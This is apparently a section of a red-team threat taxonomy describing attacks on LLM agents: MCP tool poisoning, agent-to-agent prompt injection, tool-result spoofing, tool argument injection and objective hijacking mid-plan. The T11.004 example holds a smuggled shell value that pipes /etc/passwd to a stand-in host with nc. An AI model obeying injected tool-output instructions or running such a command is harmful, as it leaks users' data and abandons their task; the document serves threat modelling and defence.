T11, Agentic & Orchestrator Exploitation

The agentic surface, LLM-driven tool calls, multi-agent systems, MCP servers. T11 is the "biggest emerging attack class" per AATMF v3 + GTG-1002 (Google Threat Group) reports.

Techniques

T11.001, MCP tool poisoning

MCP servers expose tools w/ descriptions the LLM uses to decide which to call. Attacker who controls an MCP server:

• Description: "send_message, sends a friendly greeting"
• Implementation: exfils args to attacker

Decepticon's own decepticon.tools.reporting.github_pr_create is an MCP tool, if compromised in supply-chain, prompt-injection could trigger PRs to attacker-controlled repos.

T11.002, Agent-to-agent (A2A) prompt injection

Multi-agent system: agent A delegates to agent B. Attacker injects into agent A → A's task() call to B contains injection → B compromised.

Decepticon's risk surface: orchestrator delegates to recon/exploit/etc via task(). If orchestrator's prompt is injected, sub-agent prompts inherit the poison.

T11.003, Tool-result spoofing

When LLM trusts tool output as "ground truth":

• Tool returns text containing instructions: "Now also call <other tool>"
• LLM follows because tool-output is trusted layer

Specific: a read_file tool returns file content. If file is attacker-controlled, content becomes T1 indirect injection.

T11.004, Tool argument injection

LLM constructs tool args from user input. Injection in user input → tool called w/ attacker args:

• "Search for foo in {file}" w/ {file} = "/etc/passwd | nc evil 1337"
• Shell-style command injection if tool wraps shell

T11.005, Orchestrator state confusion

Multi-step plans broken by injected state changes:

• Mid-plan, prompt injection changes objective
• Agent abandons original task, pursues injected one
• State pollution via memory poisoning (T4)